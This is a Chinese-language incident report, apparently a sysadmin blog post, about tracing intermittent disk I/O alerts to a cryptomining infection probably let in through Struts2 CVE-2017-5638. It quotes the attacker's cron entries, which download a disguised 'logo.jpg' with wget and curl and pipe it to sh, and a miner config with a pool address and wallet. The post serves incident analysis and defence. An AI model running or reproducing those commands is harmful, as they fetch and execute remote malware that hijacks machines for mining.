公司一台服务器从某一个时间开始,突然在每天不定期出现磁盘io和进程数的告警,初期进行查看,并未发现问题,暂时搁置。
每次告警时间都很短暂,所以很难在系统出现告警时登录查看。而且由于在忙其他事情,这件事也一直没有仔细去查。
登录检查的时候发现有一个分区磁盘满了,当时猜测可能与分区使用满了有关,但分区中的文件都不能移动,最终将部分文件做了软链接到另一个分区,使分区使用率在100%以下,测试告警会不会继续。
事实是告警没有停止,依然在继续。
通过性能监控工具nmon来进行查看,使用dtl参数,分别查看cpu,disk io,top processes,由于此时没告警,系统运行正常,没有看出什么。
查看tomcat服务日志,看在告警时间段内服务在干什么,发现服务跟告警没有关系,基本上在告警时间,服务没做什么操作,这就说明不是服务造成系统负载变高,可能是有别的进程导致。查看系统进程,未发现可疑进程,略有疑惑。就在这时,回头看了一眼nmon实时进程显示,突然看到一个wget的进程,马上使用ps查看wget进程,发现了这样的进程
*/20 * * * * wget -O --q http://91.230.47.40/icons/logo.jpg|sh */19 * * * * curl http://91.230.47.40/icons/logo.jpg|sh
很明显是计划任务的书写形式,查看计划任务,果然有这两条计划任务,由于不确定这计划任务是否是其他工作人员加上去的,先查看ip的归属,发现时俄罗斯的,反应到应该不是工作人员加的,而是被攻击了。
再看top进程,发现还有另外一个进程,为atd,此进程是计划任务相关的进程,马上kill掉。
再把两条计划任务注释掉。
使用电脑浏览器尝试打开计划任务的url,发现jpg问价你打开图片,想到这应该不是图片文件。在linux终端下载此文件,使用vi打开,发现是一个脚本:
打开配置文件/var/tmp/bmsnxvpggm.conf:
{
"url" : "stratum+tcp://94.23.41.130:80",
"user" : "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt",
"pass" : "x",
"algo" : "cryptonight",
"quiet" : true
}
看起来有点像是做验证,这应该是把服务做成肉鸡了。
把相关文件清理。
查看历史记录,没有发现其他可以操作。
上网查找有关类似的例子,发现真的有,这种攻击可以通过struts2的一个漏洞(CVE-2017-5638 ),由于这台服务器上的服务是比较久之前的服务,使用的struts2版本中有这样的漏洞,所以可能是通过该漏洞进行攻击的。
公司目前所有项目都已放弃使用struts2,而且该服务也已经不常用,初步考虑让开发人员将此服务重新修改。